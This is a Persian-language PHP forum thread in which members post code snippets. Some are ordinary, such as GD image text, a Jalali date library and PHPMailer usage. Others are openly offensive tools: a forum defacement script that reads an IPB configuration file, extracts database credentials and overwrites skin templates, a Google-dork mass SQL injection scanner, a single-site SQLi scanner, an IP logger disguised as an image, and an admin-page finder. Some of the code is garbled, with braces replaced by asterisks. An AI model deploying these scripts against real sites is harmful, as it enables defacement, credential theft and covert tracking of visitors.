;extension=php_gd2.dll => extension=php_gd2.dll
یعنی سمی کالن که کامنت ساز است را از اول خط بردارید. بعد ریست کنید easyphp را
در Wamp هم کلیک می کنید و از گزینه Php سپس Php Extensions چک کنید تیکه Php_gd2 زده شده باشه
پس از مطمئن شدن از اینکهGD فعال است دو حالت پیش رو خواهید داشت .
الف : می خواهید یک عکسی را ایجاد کنید و سپس روی آن بنویسید .
ب : می خواهید یک عکسی را باز کنید و سپس روی آن بنویسید .
برای حالت اول خود فایل راهنمای PHP یه مثال زده :
<?php
header ("Content-type: image/png");
$im = @imagecreatetruecolor(150, 30) or die("Cannot Initialize new GD image stream");
$text_color = imagecolorallocate($im, 233, 14, 91);
imagestring($im, 1, 5, 5, "A Simple Text String", $text_color);
imagepng($im);
imagedestroy($im);
?>
نتیجه کار، یک کادر مشکلی رنگ با ابعاد 150 در 30 خواهد شد که نوشته*ای با رنگ قرمز روی آن نوشته شده است:
A Simple Text String
شرح:
خط اول که header است.
خط دوم اندازه عکس با x و y آن...
خط سوم تعیین رنگ :عدد اولی میزان قرمز است که از صفر تا 255 جا دارد و بعدی سبز و بعدی آبی.
21300
خط چهارم بعد $im که در بالا ساخته شده . فواصل حروف و بعد x و y محل قرارگیری رشته و بعد خود رشته و بعد رنگ نوشته.
خطهای پنجم و ششم انجام عملیات و تخریب شی.
باز هم طبق مثال از خود PHP داریم :
<?php
header("Content-type: image/png");
$string ="Hello world!";
$im = imagecreatefrompng("button.png");
$red = imagecolorallocate($im, 255, 0, 0);
$px = (imagesx($im) - 7.5 * strlen($string)) / 2;
imagestring($im, 3, $px, 5, $string, $red);
imagepng($im);
imagedestroy($im);
?>
کد بالا عکسی با نام button.png را که به شکل زیر است:
21301
باز می*کند و چنین حالتی را نتیجه خواهد داد:
21302
شرح کد :
خط اول که header است و کارش همین است که اعلام کرده.
خط دوم که رشته نوشتنی را Hello world! اعلام کرده.
خط سوم آدرس عکس و نامش را داده.(در اینجا فقط نام عکس است)
خط چهارم رنگ قرمز را با اعداد 255 و صفر و صفر ساخته ایم. عدد اولی میزان قرمز است که از صفر تا 255 جا دارد و بعدی سبز و بعدی آبی.
خط پنجم محاسبه x نوشته ما. کمی دقت کنید می فهمید چه فلسفه ای دارد این محاسبه.
خط ششم یک سری مقدار ارسال شده که اولی فواصل حروف و دومی x و سومی y نوشته و بعد خود نوشته و رنگی که باید نوشته شود که قرمز است.
دو خط هفتم و هشتم هم انجام نهایی پروسه و تخریب شی.
موفق و پیروز باشید .
Pr0grammer
01-10-2011, 12:30 PM
<?
/*
Advance deface attack for IPB 1.0 +
Powered by Pr0xY
*/
define("PC_MINUTE", 1);
define("PC_HOUR", 2);
define("PC_DOM", 3);
define("PC_MONTH", 4);
define("PC_DOW", 5);
define("PC_CMD", 7);
define("PC_COMMENT", 8);
define("PC_CRONLINE", 20);
$resultsSummary = "";
function lTrimZeros($number) **
GLOBAL $debug;
while ($number[0]=='0') **
$number = substr($number,1);
}
return $number;
}
function multisort(&$array, $sortby, $order='asc') **
foreach($array as $val) **
$sortarray[] = $val[$sortby];
}
$c = $array;
$const = $order == 'asc' ? SORT_ASC : SORT_DESC;
$s = array_multisort($sortarray, $const, $c, $const);
$array = $c;
return $s;
}
function parseElement($element, &$targetArray, $numberOfElements) **
GLOBAL $debug;
$subelements = explode(",",$element);
for ($i=0;$i<$numberOfElements;$i++) **
$targetArray[$i] = $subelements[0]=="*";
}
for ($i=0;$i<count($subelements);$i++) **
if (preg_match("~^(\\*|([0-9]{1,2})(-([0-9]{1,2}))?)(/([0-9]{1,2}))?$~",$subelements[$i],$matches)) **
if ($matches[1]=="*") **
$matches[2] = 0;
$matches[4] = $numberOfElements;
} elseif ($matches[4]=="") **
$matches[4] = $matches[2];
}
if ($matches[5][0]!="/") **
$matches[6] = 1;
}
for ($j=lTrimZeros($matches[2]);$j<=lTrimZeros($matches[4]);$j+=lTrimZeros($matches[6])) **
$targetArray[$j] = TRUE;
}
}
}
}
function incDate(&$dateArr, $amount, $unit) **
GLOBAL $debug;
if ($debug) echo sprintf("Increasing from %02d.%02d. %02d:%02d by %d %6s ",$dateArr[mday],$dateArr[mon],$dateArr[hours],$dateArr[minutes],$amount ,$unit);
if ($unit=="mday") **
$dateArr["hours"] = 0;
$dateArr["minutes"] = 0;
$dateArr["seconds"] = 0;
$dateArr["mday"] += $amount;
$dateArr["wday"] += $amount % 7;
if ($dateArr["wday"]>6) **
$dateArr["wday"]-=7;
}
$months28 = Array(2);
$months30 = Array(4,6,9,11);
$months31 = Array(1,3,5,7,8,10,12);
if (
(in_array($dateArr["mon"], $months28) && $dateArr["mday"]==28) ||
(in_array($dateArr["mon"], $months30) && $dateArr["mday"]==30) ||
(in_array($dateArr["mon"], $months31) && $dateArr["mday"]==31)
) **
$dateArr["mon"]++;
$dateArr["mday"] = 1;
}
} elseif ($unit=="hour") **
if ($dateArr["hours"]==23) **
incDate($dateArr, 1, "mday");
} else **
$dateArr["minutes"] = 0;
$dateArr["seconds"] = 0;
$dateArr["hours"]++;
}
} elseif ($unit=="minute") **
if ($dateArr["minutes"]==59) **
incDate($dateArr, 1, "hour");
} else **
$dateArr["seconds"] = 0;
$dateArr["minutes"]++;
}
}
if ($debug) echo sprintf("to %02d.%02d. %02d:%02d\n",$dateArr[mday],$dateArr[mon],$dateArr[hours],$dateArr[minutes]);
}
function getLastScheduledRunTime($job) **
GLOBAL $debug;
$extjob = Array();
parseElement($job[PC_MINUTE], $extjob[PC_MINUTE], 60);
parseElement($job[PC_HOUR], $extjob[PC_HOUR], 24);
parseElement($job[PC_DOM], $extjob[PC_DOM], 31);
parseElement($job[PC_MONTH], $extjob[PC_MONTH], 12);
parseElement($job[PC_DOW], $extjob[PC_DOW], 7);
$dateArr = getdate(getLastActualRunTime($job[PC_CMD]));
$minutesAhead = 0;
while (
$minutesAhead<525600 AND
(!$extjob[PC_MINUTE][$dateArr["minutes"]] OR
!$extjob[PC_HOUR][$dateArr["hours"]] OR
(!$extjob[PC_DOM][$dateArr["mday"]] OR !$extjob[PC_DOW][$dateArr["wday"]]) OR
!$extjob[PC_MONTH][$dateArr["mon"]])
) **
if (!$extjob[PC_DOM][$dateArr["mday"]] OR !$extjob[PC_DOW][$dateArr["wday"]]) **
incDate($dateArr,1,"mday");
$minutesAhead+=1440;
continue;
}
if (!$extjob[PC_HOUR][$dateArr["hours"]]) **
incDate($dateArr,1,"hour");
$minutesAhead+=60;
continue;
}
if (!$extjob[PC_MINUTE][$dateArr["minutes"]]) **
incDate($dateArr,1,"minute");
$minutesAhead++;
continue;
}
}
return mktime($dateArr["hours"],$dateArr["minutes"],0,$dateArr["mon"],$dateArr["mday"],$dateArr["year"]);
}
function getJobFileName($jobname) **
GLOBAL $writeDir;
GLOBAL $debug;
$jobfile = $writeDir.urlencode($jobname).".job";
return $jobfile;
}
function getLastActualRunTime($jobname) **
GLOBAL $debug;
$jobfile = getJobFileName($jobname);
if (file_exists($jobfile)) **
return filemtime($jobfile);
}
return 0;
}
function markLastRun($jobname, $lastRun) **
$jobfile = getJobFileName($jobname);
touch($jobfile);
}
function runJob($job) **
GLOBAL $debug, $sendLogToEmail, $resultsSummary;
$resultsSummary = "";
$lastActual = $job["lastActual"];
$lastScheduled = $job["lastScheduled"];
if ($lastScheduled<time()) **
if ($debug) **
$e = @error_reporting(0);
include(dirname(__FILE__)."/".$job[PC_CMD]);
@error_reporting($e);
} else **
$e = @error_reporting(0);
@include($job[PC_CMD]);
@error_reporting($e);
}
markLastRun($job[PC_CMD], $lastScheduled);
if ($sendLogToEmail!="") **
mail($sendLogToEmail, "[cron] ".$job[PC_COMMENT], $resultsSummary);
}
return true;
} else **
if ($debug) **
}
return false;
}
}
function ipb($system)
**
global $contents, $dface;
@preg_match('/(\$INFO\[\'sql_pass\'\]\s*\=\s*\')(\S+)(\'\s*\;)/', $contents, $db_pass);
@preg_match('/(\$INFO\[\'sql_user\'\]\s*\=\s*\')(\S+)(\'\s*\;)/', $contents, $db_user);
@preg_match('/(\$INFO\[\'sql_database\'\]\s*\=\s*\')(\S+)(\'\s*\;)/', $contents, $db_data);
@preg_match('/(\$INFO\[\'sql_host\'\]\s*\=\s*\')(\S+)(\'\s*\;)/', $contents, $db_loca);
$link = @mysql_connect($db_loca[2] , $db_user[2] , $db_pass[2]);
@mysql_select_db($db_data[2],$link);
if($system)
**
$result = @mysql_query("SELECT set_name FROM ibf_skin_sets" , $link);
while($row = @mysql_fetch_array($result)) $skins[] = $row[0];
foreach($skins as $temp)
**
@mysql_query("UPDATE ibf_skin_sets SET set_wrapper = '$deface' WHERE set_name = '$temp'" , $link);
@mysql_query("UPDATE ibf_skin_sets SET set_cache_css = '$deface' WHERE set_name = '$temp'" , $link);
@mysql_query("UPDATE ibf_skin_sets SET set_cache_wrapper = '$deface' WHERE set_name = '$temp'" , $link);
}
@mysql_close();
}
else
**
$result = @mysql_query("SELECT set_name FROM ibf_templates" , $link);
while($row = @mysql_fetch_array($result)) $skins[] = $row[0];
foreach($skins as $temp)
@mysql_query("UPDATE ibf_skin_sets SET template = '$deface' WHERE set_name = '$temp'" , $link);
@mysql_close();
}
}
$writeDir = dirname(__FILE__)."/cronjobs/";
$dface = base64_decode("RGVmYWNlIGJ5IFNoM2xsLlRlYW0gRXhwbG9pdC4=");
$ipb_version = ''; // E.g 2.3.3
$target = ''
$infofi = "**$writeDir}info.txt";
$jobs = "cat **$target}conf_global.php > $infofi";
$sendLogToEmail = ""; //Your mail
$maxJobs = 1;
$filename = $infofi;
do{
runJob($jobs);
$handle = fopen($filename, "r");
$contents = fread($handle, filesize($filename));
fclose($handle);
}
while($contents == '');
ipb((preg_match('/^(2\.)/', $ipb_version))?true:false);
?>
Pr0grammer
01-11-2011, 03:34 PM
<?php
#Sh3ll.Team 2008-08-28
#Sql injection scanner by Pr0xY
$http = '';
if($http == '')
die("Http is empty!\n\n<b>Powered by Pr0xY</b>\n# Sh3ll.Team [2008-09-02]");
echo "Scan for : <b>$[Only registered and activated users can see links]> \n\n";
$http = (substr($[Only registered and activated users can see links] -1) != '/') ? $[Only registered and activated users can see links]'/' : $[Only registered and activated users can see links]
$found = getGet();
function getGet()
**
global $[Only registered and activated users can see links]
$getN = array();
$fenN = array();
$htm = @file_get_contents($http);
@preg_match_all('/((\/[a-zA-Z0-9]+\/)|)([a-zA-Z0-9]+\.[a-zA-Z0-9]+\?)([a-zA-Z0-9]+)(\s*\=)([a-zA-Z0-9]+)/im', $htm, $gets);
foreach($gets[0] as $get)
**
$get = str_replace($[Only registered and activated users can see links] '', $get);
if(!in_array($get, $getN))
**
@preg_match_all('/(.*)(\?)/', $get, $gn);
$name = str_replace('?', '', $gn[1][0]);
if(!@in_array($name, $fenN) && @in_array(substr(strrchr($name, "."), 1), array('php', 'asp', 'aspx')))**
$getN[] = $get;
$fenN[] = $name;
}
}
}
return $getN;
}
foreach($found as $get)
**
$address = $[Only registered and activated users can see links]$get;
$htm1 = @file_get_contents($address);
$htm2 = @file_get_contents($address.'%20and%20\'a\'%20=%20 \'a\'');
if($htm1 == $htm2)
echo $get." <b><font color=\"#1B9B1B\">SQL injection!</font></b> \n";
else
echo $get." <b><font color=\"#D80404\">Failed!</font></b> \n";
}
echo "\n\n<b>Powered by Pr0xY</b>\n";
?>
سلام خدمت همه اعضای محترم و بازدیدکنندگان گرامی فروم آشیانه
فایلی که براتون گذاشتم رو چند هفته پیش دیدم و امتحانش کردم خیلی خوب کار میده
شامل دو تا فایله jdf.php که توابع تبدیل تاریخ داخل این فایل هستند و lang_jdf_persian.php که تنظیمات رو در بر داره.
طریقه کار کردن باهاش خیلی راحته : توی کد php تون قبل از استفاده از تابع ها ابتدا فایل jdf.php را با include یا include_once وارد فایلتون کنید و بعد از تابع ها استفاده کنید.
توجه داشته باشید که فقط یکبار فایل را آن هم قبل از استفاده از تابع های تبدیل وارد کنید و بهتره برای جلوگیری از اشتباه فایل را در ابتدای فایل php تون وارد کنید و اون موقع در هر کجای دیگه بعد از آن می تونید از توابع استفاده کنید
اگر سوالی هم داشتید در بپرسید اگر زود اومدم که خودم جواب میدم وگرنه اساتید محترم php حضور دارند.
و اما توابع
این نوشته هاییه که سایتی که ازش دانلود کردم گذاشته بود
//////////////////////////////////////////////
//////////////////////////////////////////////
//////////////////////////////////////////////
//////////////////////////////////////////////
//////////////////////////////////////////////
تبدیل تاریخ به هجری شمسی در PHP
مقدمه
من چند مدت پیش یک تابع تغییر تاریخ میلادی به تاریخ هجری پیدا کردم( از اینجا بگیریدش) و از اون هم استفاده می کردم تا اینکه از هر بار صدا زدن این دوتا تابع خسته شدم!!!
برای همین به فکر درست کردن یک تابع افتادم که شبیه به تابع های PHP باشه(date و mktime).دقت کنید که شما نیازی به اون فایل اول ندارید من خودم اون رو در فایلی که شما باید دانلود کنید قرار دادم.(دریافت فایل zip, tar.gz )
تشریح
تابع های اصلی به کار رفته در این فایل :
jdate(string, integer)
jmaketime(integer, integer, integer, integer, integer, integer)
تابع jdate()
این تابع مثل تابع date توی PHP کار می کنه.اولین ورودی این تابع که از نوع رشته است فرمت خروجی تاریخ رو نشون می ده( فرمت هاي خروجي تابع jdate).
دومین ورودی که از نوع عدد صحیح است.فاصله زمانی (بر حسب ثانیه) از تاریخ 1970-1-1 (همون ۱۱/۱۰/۱۳۴۸ خودمون) است که با استفاده از تابع mktime یا تابع خورشیدی شده آن jmaketime اون رو مقدار دهی می کنیم(که این ورودی اختیاری است و در صورتی که خالی باشه زمان اکنون رو در نظر می گیره).در صورتی که شما از حرفی استفاده کنید که در این جدول نیامده خود حروف بدن تغییر از تابع بر می گردند.
چند مثال:
echo jdate("Y/m/d");
result:
۱۳۸۲/۰۸/۰۵
----------------------
echo jdate("l j F Y",mktime(0,0,0,6,30,1998));
result:
سه شنبه ۹ تير ۱۳۷۷
----------------------
echo jdate("l j F Y",jmaketime(0,0,0,6,30,1363));
result:
جمعه ۳۰ شهريور ۱۳۶۳
توي خط 31 اين فايل يك سري تنظيمات است كه آلان در موردشون توضيح مي دهم
$transnumber اين متغيير در صورتيكه مقدار ۱ داشته باشه اعداد رو به فارسي ترجمه مي كنه
$TZhours و $TZminute اين دوتا متغييرها براي اينه كه اگر شما از يك سرور استفاده مي كنيد كه با ساعت گرينويچ ست است اون رو تبديل به زمان محلي بكنه اگر نمي خواهيد اين كار رو بكنه مقدار دوتاشون رو ۰ كنيد (اولي تفاوت دقيقه دومي تفاوت ساعتي مثلا : $TZhours=3; $TZminute=30; براي ايران است)
فرمت هاي خروجي تابع jdate
فرمت خروجی مثال
A قبلازظهر و یا بعدازظهر را نشان می دهد قبلازظهر - بعدازظهر
a ق.ظ و یا ب.ظ را نشان می دهد ق.ظ - ب.ظ
d چندمین روز از ماه را به صورت عدد دورقمی 01 - 02 - 03 - ... -31
D نام روز هفته را با یک کلمه ی - د - ... - ج
F نام کامل ماه فروردین - اردیبهشت - ... - اسفتد
g نمایش ساعت به صورت 12 ساعته 1 - 2 - 3 - ... - 12
G نمایش ساعت به صورت 24 ساعته 0 - 1 - 2 - ... - 23
h نمایش ساعت به صورت 12 ساعته دورقمی 01 - 02 - ... - 12
H نمایش ساعت به صورت 24 ساعته دو رقمی 00 - 01 - 02 - ... - 23
i نمایش دقیقه 00 - 01 - 02 - ... - 59
l(lower L) نمایش روزهای ماه به صورت عدد 1 - 2 - ... - 12
m نمایش ماه به صورت عدد دورقمی 01 - 02 - ... - 12
n نمایش ماه به صورت عدد 0 - 1 - 2 - ... - 12
s نمایش ثانیه یک دقیقه 01 - 02 - ... - 59
t تعداد روزها مشخص شده ماه (خورشیدی) 29
w چندمین روز هفته به صورت یک عدد تک رقمی 0(یکشنبه) - 1 - 2 - ... - 6
y نمایش سال به صورت عدد دورقمی 81 - 82 - ...
Y نمایش سال به صورت عدد چهار رقمی 1381 - 1382 - 1383 - ...
تابع jmaketime()
این تابع مثل تابع mktime توی PHP کار می کنه.
ورودی های این تابع : (سال,روز,ماه,ساعت,دقيقه,ثاني ه) jmaketime. که سال و ماه و روز آن را باید بر حسب تاریخ خورشیدی وارد کنید. یک نکته که در باره این تابع بگم اینه که اگر شما مقدار یکی از ورودی ها رو بیشتر از مقدار معمولش قرار دهید(مثلا برای ورودی ماه مقدار 15 را وارد کنید) خود تابع به صورت هوشمند به نتیجه آخر تابع به اندازه 3 ماه اضافه می کنه.
چند تا مثال :
jmaketime(59,59,23,12,18,1380);
result :
1015831763
----------------------
jmaketime(80,110,54,15,60,1362);
result
453964854
روش استفاده از این تابع
برای استفاده از این تابع فقط کافی است که فایل مورد نظر رو دانلود بکنید و در فایلی که خواستید از اون استفاده کنید این کد رو وارد بکنید: آلان دیگه فکر کنید شما دارید از تابع PHP استفاده می کنید!!!. خوش باشید .
//////////////////////////////////////////////
//////////////////////////////////////////////
//////////////////////////////////////////////
//////////////////////////////////////////////
//////////////////////////////////////////////
// abbk : اینم دقیقا" همون چیزیه که بعنوان منبع پایین مطلب نوشته شده و گذاشتم و میگم که این مطلب مفید کار من نیست و من فقط اون رو کپی کردم و برای شما قرار دادم و چون احتمال خیلی زیاد همین سایت مربوط به نویسنده توابع هست حتی از توی فایل هایی که قرار دادم فقط برای پایمال نکردن حق نویسنده پاکش نکردم (وگرنه می تونستم بزنم به نام خودم و اسم آشیانه رو هم برای پاچه خواری بذارم ولی ارزش من و آشیانه خیلی بیشتر از این حرفاست که اینجوری خرابش کرد :98:).
منبع : jdf.farsiprojects.com
حجم فایل 10.2 کیلوبایت
پسورد فایل فشرده : [Only registered and activated users can see links]
Hijacker
01-30-2011, 01:48 PM
You want to get/grab an IP but you dont know how you should get it..
am got idea for it....Chk code below
<?php
header('Content-type: image/jpeg');
readfile('image.jpg');
$log = "log.txt";
$grab = "Connection from:".$_SERVER['REMOTE_ADDR']." at ".date("r",time())."\n";
if ($handle = fopen($log, 'a')) **
fwrite($handle, $grab);
fclose($handle);
}
?>
save it an php file and upload its with whatever picture u want with name image.jpg
and dont forget to make txt file with name log.txt
and upload at ur hosting.if someone open dis page,its like just image page but it will create ip logger visitor and log will save at log.txt
hosoftnet
02-08-2011, 10:08 PM
[Only registered and activated users can see links]
Pr0grammer
03-01-2011, 04:28 PM
Description
This utility allows you to find all hostnames (if any) on a particular domain. You can either put a hostname or an ip address and program will scan the entire subdomain to locate hostnames which resolve. It is very easy to install and to use.
Installation
Its very easy to install. Just download the hostsfinder.php file and put it anywhere on your web directory and you are aready to go. Just point your browser to the file.
Usage
Just point your browser to the hostsfinder.php file and put in an IP address or a hostname. The code snippet will scan the entire subnet for that IP or hostname and give you the associated hostnames if it can be resolved.
<?
// hostsfinder.php by Nilesh Dosooye ([Only registered and activated users can see links])
// Copyright (C) 2001 Nilesh Dosooye
// [Only registered and activated users can see links]
//
// --- GNU General Public License Disclamer ---
// This program is free software; you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation; either version 2 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
$ipaddress=getenv("remote_addr");
if ($Submit=="Find all hosts on this domain")
**
echo "Your Input was : <b><font color=red face=arial>$input</font></b><br>";
$ipadd=gethostbyname ($input);
list($ip1,$ip2,$ip3,$ip4)=explode('.',$ipadd);
for ($a=0;$a<256;$a++)
**
$scanip="$ip1.$ip2.$ip3.$a";
$newhostname=gethostbyaddr($scanip);
echo "$scanip ---> <a href=\"[Only registered and activated users can see links]$newhostname\">$newhostname</a><br>";
}
}
?>
<form method="post" action="<? echo $PHP_SELF; ?>">
<p><font face="Verdana, Arial, Helvetica, sans-serif"><b><font size="+1">HostsFinder.php</font></b><font size="+1">
<a href="[Only registered and activated users can see links]"> <font size="-2">by Nilesh Dosooye</font></a></font></font></p>
<p><font face="Verdana, Arial, Helvetica, sans-serif" size="-1">This utility
allows you to find all hostnames (if any) on a particular domain. You can
either put a hostname or an ip address and program will scan the entire subdomain
to locate hosts.</font></p>
<p><font face="Verdana, Arial, Helvetica, sans-serif" size="-1"><b>Hostname
or Ipaddress :</b>
<input type="text" name="input" size="40" value="<? echo $ipaddress; ?>">
</font></p>
<p> <font face="Verdana, Arial, Helvetica, sans-serif">
<input type="submit" name="Submit" value="Find all hosts on this domain">
</font></p>
</form>
تشکر یادتون نره:45:
Pr0grammer
03-01-2011, 04:52 PM
Description
AdminLog is a maintenance log tool to assist system administrators in keeping a log of their daily activities. The principle is simple in that you are not reliant on any particular text editor or access to network shares to keep a log that is intended to be available across many systems. Just pull up your AdminLog site from a web browser, type in the details of your log entry and hit submit.
تشکر فراموش نشه :73:
Sil3nt Di3
03-07-2011, 11:48 PM
سلام دوستان این اسکریپت رو دوست خوبم پوریا (Hijacker) گذاشته بودند که من اینو از طرف ایشون اینجا می ذارم:
<html>
<head>
<title>SQLi Scan - Dark Zone</title>
<!--
************************************************** **************
* SQLi Scanner by DarKmindz @ 31337 ZoNe *
* *
* Fuck You n00b & Shit Talker & Time Wasters & Scriptkiddiots! *
************************************************** **************
Written by DarKmindz @ 31337 ZoNe
Yuck Fou,
./DarkMindz &
-->
<style>
body{
background: black;
color: red;
font-family: monospace;
font-size: 12px;
}
input{
background: black;
border: 1px solid red;
color: red;
}
h2{
color: red;
}
a{ color: #5A5A5A; text-decoration: none; }
a:visited, a:active{ color: #5A5A5A; text-decoration: line-through; }
a:hover{ color: #00FF00; text-decoration: line-through; }
.effectok:hover ** text-decoration: underline; }
.effectfalse:hover ** text-decoration: line-through; }
</style>
</head>
<body>
<?php
echo "<center>";
echo "<form action='' method='post'>";
echo "<b>Dork</b>: <p><input type='text' name='dork' value='inurl:php?=id+site'></p>";
echo "<input type='submit' value=' Fvck It! '>";
echo "<hr><br />";
if($_POST['dork']) **
@set_time_limit(0);
@error_reporting(0);
@ignore_user_abort(true);
ini_set('memory_limit', '128M');
$google = "[Only registered and activated users can see links]";
$i = 0;
$a = 0;
$b = 0;
while($b <= 900) **
$a = 0;
flush(); ob_flush();
echo "Pages: [ $b ]<br />";
echo "Dork: [ <b>".$_POST['dork']."</b> ]<br />";
echo "Scanning Google<br />";
flush(); ob_flush();
if(preg_match("/did not match any documents/", Connect_Host(str_replace(array("REPLACE_DORK", "REPLACE_START"), array("".$_POST['dork']."", "$b"), $google)), $val)) **
echo "Bisey bulunamadı<br />";
flush(); ob_flush();
break;
}
preg_match_all("/<h2 class=(.*?)><a href=\"(.*?)\" class=(.*?)>/", Connect_Host(str_replace(array("REPLACE_DORK", "REPLACE_START"), array("".$_POST['dork']."", "$b"), $google)), $sites);
echo "Loadiing…<br />";
flush(); ob_flush();
while(1) **
if(preg_match("/You have an error in your SQL|Division by zero in|supplied argument is not a valid MySQL result resource in|Call to a member function|Microsoft JET Database|ODBC Microsoft Access Driver|Microsoft OLE DB Provider for SQL Server|Unclosed quotation mark|Microsoft OLE DB Provider for Oracle|Incorrect syntax near|SQL query failed/", Connect_Host(str_replace("=", "='", $sites[2][$a])))) **
echo "<a href='".Clean(str_replace("=", "='", $sites[2][$a]))."' target='_blank' class='effectok'>".str_replace("=", "='", $sites[2][$a])."</a> <== <font color='green'>SQL Injection Success !</font><br />";
} else **
echo "<a href='".Clean(str_replace("=", "='", $sites[2][$a]))."' target='_blank' class='effectfalse'>".str_replace("=", "='", $sites[2][$a])."</a> <== <font color='red'>Not access ! </font><br />";
flush(); ob_flush();
}
if($a > count($sites[2])-2) **
echo "Bitti<br />";
break;
}
$a = $a+1;
}
$b = $b+100;
}
}
function Connect_Host($url) **
$ch = curl_init();
curl_setopt($ch, CURLOPT_FOLLOW, 0);
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_TIMEOUT, 30);
$data = curl_exec($ch);
if($data) **
return $data;
} else **
return 0;
}
}
function Clean($text) **
return htmlspecialchars($text, ENT_QUOTES);
}
echo "</center>";
?>
</body>
</html>
Sil3nt Di3
03-09-2011, 12:20 AM
سلام به دوستان گلم این اسکریپتی که امروز براتون قرار می دم اسکریپت 2 فایل با همدیگه هست!
<?
$f1 = "/path to file 1";
$f2 = "/path to file 2";
if(!empty($f1) && !empty($f2))**
if(md5_file($f1) == md5_file($f2))**
if(file_get_contents($f1) == file_get_contents($f2))**
echo "the files are similar!";
}else{echo "the files aren't similar!";}
}else{echo "the files aren't similar!";}
}
?>
این کد میاد امضای دیجیتال این فایل ها رو باهم بررسی می کنه! و علاوه بر اون خود فایل ها رو از نظر شباهت و عدم شباهت چک می کنه...
remix
03-09-2011, 05:30 PM
این اسکریپت ها PHPmailer برای ارسال ایمیل با PHP استفاده میشه و منبع کدها این سایت ([Only registered and activated users can see links])هست، شاید پیش اومده باشه که بخواید یک فایل رو از روی هاست خودتون به ایمیلتون ارسال کنید یا از فرم های ارسال ایمیل در سایتتون استفاده کنید و...
فایل ضمیمه:
25464
من یک مثالش رو قرار می دم با توضیحات تا استفاده از بقیه هم آسون تر بشه:
اولین کاری باید کرد فایل های class.phpmailer.php و class.pop3.php و class.smtp.php رو در یک دایرکتوری (غیر از دایرکتوری که می خواید فایل اصلی ارسال ایمیل send.php رو اجرا کنید) قرار بدید به عنوان مثال:
/home/user/phpmailer
حالا نوبت به کد ارسال ایمیل هست:
<html>
<head>
<title>PHPMailer - Mail() advanced test</title>
</head>
<body>
<?php
require_once '../class.phpmailer.php';
$mail = new PHPMailer(true); //defaults to using php "mail()"; the true param means it will throw exceptions on errors, which we need to catch
try **
$mail->AddReplyTo('[Only registered and activated users can see links]', 'First Last');
$mail->AddAddress('[Only registered and activated users can see links]', 'John Doe');
$mail->SetFrom('[Only registered and activated users can see links]', 'First Last');
$mail->AddReplyTo('[Only registered and activated users can see links]', 'First Last');
$mail->Subject = 'PHPMailer Test Subject via mail(), advanced';
$mail->AltBody = 'To view the message, please use an HTML compatible email viewer!'; // optional - MsgHTML will create an alternate automatically
$mail->MsgHTML(file_get_contents('contents.html'));
$mail->AddAttachment('images/phpmailer.gif'); // attachment
$mail->AddAttachment('images/phpmailer_mini.gif'); // attachment
$mail->Send();
echo "Message Sent OK</p>\n";
} catch (phpmailerException $e) **
echo $e->errorMessage(); //Pretty error messages from PHPMailer
} catch (Exception $e) **
echo $e->getMessage(); //Boring error messages from anything else!
}
?>
</body>
</html>
در جلوی require_once آدرس دایرکتوری فایل های class مثل class.phpmailer.php رو قرار می دیم که به این صورت میشه: require_once '/home/user/phpmailer/class.phpmailer.php';
جلوی AddAddress ایمیل مقصد و اسم گیرنده ....و SetFrom ایمیل مبدا یا فرستنده و اسم ....و مقابل AddAttachment آدرس و اسم فایل اتچمنت رو قرار می دیم و بقیه به صورت زیر:
AddReplyTo : ایمیل و اسم نفرات دیگر گیرنده ایمیل
Subject: عنوان ایمیل
AltBody: متن ایمیل
MsgHTML: آدرس فایل html که می خواهید در متن ایمیل ظاهر شود
حالا باید این کد رو در فایلی به عنوان مثال به اسم Send.php ذخیره کنید و روی هاست آپلود نمایید در نهایت به آدرس سایت خوتون رفته و اجرا کنید: [Only registered and activated users can see links]
تا ایمیل ارسال شود.
این اسکریپت انواع مختلف داره مثلا از طریق Smtp یا POP3 هم میشه ایمیل فرستاد یا اطلاعات دیتا بیس که در فولدر examples فایل ضمیمه شده انواع اون موجود هست...اگه سوالی بود مطرح کنید...
--------------------------------------------------------------------------------------------
فقط یک سوال دارم از اساتید...با این اسکریپت نمیشه فایل های مثلا تصویری یا ویدیویی روی هاست رو از طریق ایمیل به وال فیس بوک فرستاد!...و فقط فایل هایی که مستقیم به ایمیل اتچ میشن رو میشه به فیس بوک فرستاد....اگر راهنمایی کنید ممنون میشم....
Sil3nt Di3
03-10-2011, 08:37 PM
سلام دوستان اسکریپتی رو که امروز تقدیم حضورتون می کنم اسکریپتی هست که برای جستجوی دامین ها مورد استفاده قرار می گیره و اگه دامین موجود باشه ازش whois می گیره
موفق باشید...
Sil3nt Di3
03-11-2011, 08:38 PM
سلام دوستان
امروز براتون اسکریپتی رو در نظر گرفتم که بوسیله اون می تونید صفحه ادمین سایت رو پیدا کنید...
در پست های بعدی نحوه کدنویسی این برنامه رو توضیح خواهم داد که دوستان با این مفهوم کامل آشنا بشن...
فعلا اصل این برنامه رو داشته باشید تا من بیام ;)
:88:
Sil3nt Di3
03-13-2011, 09:15 PM
سلام دوستان همونطور که قول داده بودم نوبت به اون رسید که کدهای اسکریپت ادمین فایندر رو براتون شرح بدم تا خودش یه تمرینی هم بشه و هم با این متد آشنا بشید:
کد ایندکس:
<html>
<head>
<title>Admin Page Finder</title>
</head>
<body>
<h1>Admin Page Finder</h1>
<br>
Only works by placing the slash / in the end of URL !
<br>
<br>
<form action="check.php" method="get">
<input type='text' size='42' name='url' value = '[Only registered and activated users can see links]'>
<input type='hidden' name='id' value='0'>
<input type='hidden' name='str' value=''>
<br>
<input type='submit' value='Check' >
</form>
</font>
</body>
</html>
دوستان همونطور که می دونید این کد یه کد ساده هست که وظیفه اش جمع آوری اطلاعات و ارسال این اطلاعات هست بوسیله فرم های html و با متد GET
اما کد اصلی ما که پردازش رو بر عهده داره با هم بررسی می کنیم، در اولین قسمت کد ما ابتدا فایل url_exists.inc رو اینکلود کرده که این فایل صحت آدرس ما رو بررسی می کنه:
require 'url_exists.inc';
و فایل url_exists.inc
<?php
function url_exists($url) **
$hdrs = @get_headers($url);
return is_array($hdrs) ? preg_match('/^[Only registered and activated users can see links]*$/',$hdrs[0]) : false;
}
?>
کد خود این فایل یک فایل دیگر رو اینکلود می کنه برای ارسال این آدرس به کد اصلی ما:
